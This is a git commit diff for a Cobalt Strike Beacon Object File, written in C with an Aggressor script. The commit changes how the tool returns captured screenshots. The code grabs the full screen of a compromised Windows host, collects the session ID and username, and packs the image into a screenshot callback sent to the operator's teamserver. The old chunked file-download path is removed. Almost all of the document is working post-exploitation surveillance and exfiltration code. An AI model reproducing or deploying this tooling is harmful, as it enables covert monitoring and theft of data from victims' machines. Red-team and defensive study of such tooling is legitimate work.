Modified tool to send screenshot to Cobalt Strike's Screenshots tab instead of Downloads. It should be noted that it doesn't render in the Cobalt Strike GUI since it's not in JPG format

This commit is contained in:
BinaryFaultline 2022-10-26 16:01:17 -05:00
parent 263b680944
commit f6fd0e6738
7 changed files with 88 additions and 138 deletions

View File

@ -5,136 +5,77 @@
#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Gdi32.lib")
char downloadfilename[] = "screenshot.bmp";
/*Download File*/
void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) {
/*Download Screenshot*/
void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) {
// Function modified by @BinaryFaultline
//Intializes random number generator to create fileId
time_t t;
MSVCRT$srand((unsigned)MSVCRT$time(&t));
int fileId = MSVCRT$rand();
// This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs
// Special thanks to CCob doing the research around the BeaconOutput options, making this much easier for me.
//8 bytes for fileId and fileSize
int messageLength = downloadFileNameLength + 8;
// private void WriteSessionUserNameTitle(BinaryWriter bw, int session, string userName, string title) {
// bw.Write(session);
// bw.Write(title.Length);
// bw.Write(Encoding.UTF8.GetBytes(title));
// bw.Write(userName.Length);
// bw.Write(Encoding.UTF8.GetBytes(userName));
// }
// var screenshotCallback = new BinaryWriter(new MemoryStream());
// screenshotCallback.Write(jpgData.Length);
// screenshotCallback.Write(jpgData);
// WriteSessionUserNameTitle(screenshotCallback, session, userName, title);
int messageLength = 4 + jpgLen + 4 + 4 + titleLen + 4 + usernameLen;
char* packedData = (char*)MSVCRT$malloc(messageLength);
//pack on fileId as 4-byte int first
packedData[0] = (fileId >> 24) & 0xFF;
packedData[1] = (fileId >> 16) & 0xFF;
packedData[2] = (fileId >> 8) & 0xFF;
packedData[3] = fileId & 0xFF;
// //pack on jpgLen/fileSize as 4-byte int second
packedData[0] = jpgLen & 0xFF;
packedData[1] = (jpgLen >> 8) & 0xFF;
packedData[2] = (jpgLen >> 16) & 0xFF;
packedData[3] = (jpgLen >> 24) & 0xFF;
//pack on fileSize as 4-byte int second
packedData[4] = (fileSize >> 24) & 0xFF;
packedData[5] = (fileSize >> 16) & 0xFF;
packedData[6] = (fileSize >> 8) & 0xFF;
packedData[7] = fileSize & 0xFF;
int packedIndex = 4;
int packedIndex = 8;
// //pack on the bytes of jpg/returnData
for (int i = 0; i < jpgLen; i++) {
packedData[packedIndex] = jpg[i];
packedIndex++;
}
//pack on session as 4-byte int first
packedData[packedIndex] = session & 0xFF;
packedData[packedIndex + 1] = (session >> 8) & 0xFF;
packedData[packedIndex + 2] = (session >> 16) & 0xFF;
packedData[packedIndex + 3] = (session >> 24) & 0xFF;
//pack on the file name last
for (int i = 0; i < downloadFileNameLength; i++) {
packedData[packedIndex] = fileName[i];
//pack on titleLength as 4-byte int second
packedData[packedIndex + 4] = titleLen & 0xFF;
packedData[packedIndex + 5] = (titleLen >> 8) & 0xFF;
packedData[packedIndex + 6] = (titleLen >> 16) & 0xFF;
packedData[packedIndex + 7] = (titleLen >> 24) & 0xFF;
packedIndex += 8;
//pack on the bytes of title
for (int i = 0; i < titleLen; i++) {
packedData[packedIndex] = windowTitle[i];
packedIndex++;
}
BeaconOutput(CALLBACK_FILE, packedData, messageLength);
//pack on userLength as 4-byte int second
packedData[packedIndex] = usernameLen & 0xFF;
packedData[packedIndex + 1] = (usernameLen >> 8) & 0xFF;
packedData[packedIndex + 2] = (usernameLen >> 16) & 0xFF;
packedData[packedIndex + 3] = (usernameLen >> 24) & 0xFF;
packedIndex += 4;
if (fileSize > (1024 * 900)) {
//Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk)
int numOfChunks = (fileSize / (1024 * 900)) + 1;
int index = 0;
int chunkSize = 1024 * 900;
while (index < fileSize) {
if (fileSize - index > chunkSize) {//We have plenty of room, grab the chunk and move on
/*First 4 are the fileId
then account for length of file
then a byte for the good-measure null byte to be included
then lastly is the 4-byte int of the fileSize*/
int chunkLength = 4 + chunkSize;
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
//pack on fileId as 4-byte int first
packedChunk[0] = (fileId >> 24) & 0xFF;
packedChunk[1] = (fileId >> 16) & 0xFF;
packedChunk[2] = (fileId >> 8) & 0xFF;
packedChunk[3] = fileId & 0xFF;
int chunkIndex = 4;
//pack on the file name last
for (int i = index; i < index + chunkSize; i++) {
packedChunk[chunkIndex] = returnData[i];
chunkIndex++;
}
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
}
else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements
int lastChunkLength = fileSize - index + 4;
char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength);
//pack on fileId as 4-byte int first
lastChunk[0] = (fileId >> 24) & 0xFF;
lastChunk[1] = (fileId >> 16) & 0xFF;
lastChunk[2] = (fileId >> 8) & 0xFF;
lastChunk[3] = fileId & 0xFF;
int lastChunkIndex = 4;
//pack on the file name last
for (int i = index; i < fileSize; i++) {
lastChunk[lastChunkIndex] = returnData[i];
lastChunkIndex++;
}
BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength);
}
index = index + chunkSize;
}
}
else {
/*first 4 are the fileId
then account for length of file
then a byte for the good-measure null byte to be included
then lastly is the 4-byte int of the fileSize*/
int chunkLength = 4 + fileSize;
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
//pack on fileId as 4-byte int first
packedChunk[0] = (fileId >> 24) & 0xFF;
packedChunk[1] = (fileId >> 16) & 0xFF;
packedChunk[2] = (fileId >> 8) & 0xFF;
packedChunk[3] = fileId & 0xFF;
int chunkIndex = 4;
//pack on the file name last
for (int i = 0; i < fileSize; i++) {
packedChunk[chunkIndex] = returnData[i];
chunkIndex++;
}
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
//pack on the bytes of user
for (int i = 0; i < usernameLen; i++) {
packedData[packedIndex] = username[i];
packedIndex++;
}
//We need to tell the teamserver that we are done writing to this fileId
char packedClose[4];
//pack on fileId as 4-byte int first
packedClose[0] = (fileId >> 24) & 0xFF;
packedClose[1] = (fileId >> 16) & 0xFF;
packedClose[2] = (fileId >> 8) & 0xFF;
packedClose[3] = fileId & 0xFF;
BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4);
BeaconOutput(CALLBACK_SCREENSHOT, packedData, messageLength);
return;
}
@ -152,7 +93,7 @@ BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#pragma endregion
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
BOOL SaveHBITMAPToFile(HBITMAP hBitmap)
{
HDC hDC;
int iBits;
@ -226,8 +167,18 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER));
memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize);
// The CALLBACK_SCREENSHOT takes sessionId, title (window title in default CS screenshot fork&run), username, so we need to populate those
// Since the original author didn't do any window enumeration, I am not going through the effort of doing that enumeration, instead it's hardcoded
DWORD session = -1;
KERNEL32$ProcessIdToSessionId(KERNEL32$GetCurrentProcessId(), &session);
char* user;
user = (char*)getenv("USERNAME");
char title[] = "Right-click this and Save to view";
int userLength = MSVCRT$_snprintf(NULL,0,"%s",user);
int titleLength = MSVCRT$_snprintf(NULL,0,"%s",title);
downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize));
downloadScreenshot((char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize), session,(char*)title, titleLength, (char*)user, userLength);
//WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL);
/* clean up */
@ -240,10 +191,6 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
#ifdef BOF
void go(char* buff, int len) {
datap parser;
char * downloadfilename;
BeaconDataParse(&parser, buff, len);
downloadfilename = BeaconDataExtract(&parser, NULL);
BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to %s",downloadfilename);
int x1, y1, x2, y2, w, h;
// get screen dimensions
x1 = GetSystemMetrics(SM_XVIRTUALSCREEN);
@ -270,11 +217,10 @@ void go(char* buff, int len) {
CloseClipboard();
*/
BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap...");
LPCSTR filename = (LPCSTR)downloadfilename;
SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename);
BeaconPrintf(0x0, "[+] Saving bitmap screenshot to Screenshots tab...");
BeaconPrintf(0x0, "[*] Currently Cobalt Strike's Screenshots tab only supports rendering JPG files, so you need to right-click and \"Save\"...");
SaveHBITMAPToFile(hBitmap);
//BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename);
// clean up
SelectObject(hDC, old_obj);
DeleteDC(hDC);

View File

@ -47,6 +47,7 @@ DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
#define CALLBACK_FILE 0x02
#define CALLBACK_FILE_WRITE 0x08
#define CALLBACK_FILE_CLOSE 0x09
#define CALLBACK_SCREENSHOT 0x03
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);

View File

@ -231,6 +231,10 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFe
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer);
DECLSPEC_IMPORT char* WINAPI MSVCRT$getenv(const char *varname);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId();
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessId, DWORD *pSessionId);
@ -358,6 +362,11 @@ DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBu
#define GetUserNameW ADVAPI32$GetUserNameW
#define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent
#define getenv MSVCRT$getenv
#define GetCurrentProcessId KERNEL32$GetCurrentProcessId
#define ProcessIdToSession KERNEL32$ProcessIdToSessionId
#else
#endif

BIN
bin/BOF/ScreenshotBOF.x64.obj Normal file → Executable file

Binary file not shown.

BIN
bin/BOF/ScreenshotBOF.x86.obj Normal file → Executable file

Binary file not shown.

View File

@ -6,23 +6,17 @@ beacon_command_register(
);
alias screenshot_bof {
local('$barch $handle $data $args $target_pid');
if (size(@_) != 2)
{
berror($1, "Please specify a filename. e.g. screenshot_bof screen.bmp");
return;
}
local('$bid $barch $handle $data $args $target_pid');
$bid = $1;
# figure out the arch of this session
$barch = barch($1);
$barch = barch($bid);
# read in the right BOF file
$handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj"));
$data = readb($handle, -1);
closef($handle);
$args = bof_pack($1, "z",$2);
# announce what we're doing
btask($1, "Running screenshot BOF by (@codex_tf2)");
btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113");
# execute it.
beacon_inline_execute($1, $data, "go", $args);
beacon_inline_execute($bid, $data, "go");
}

Binary file not shown.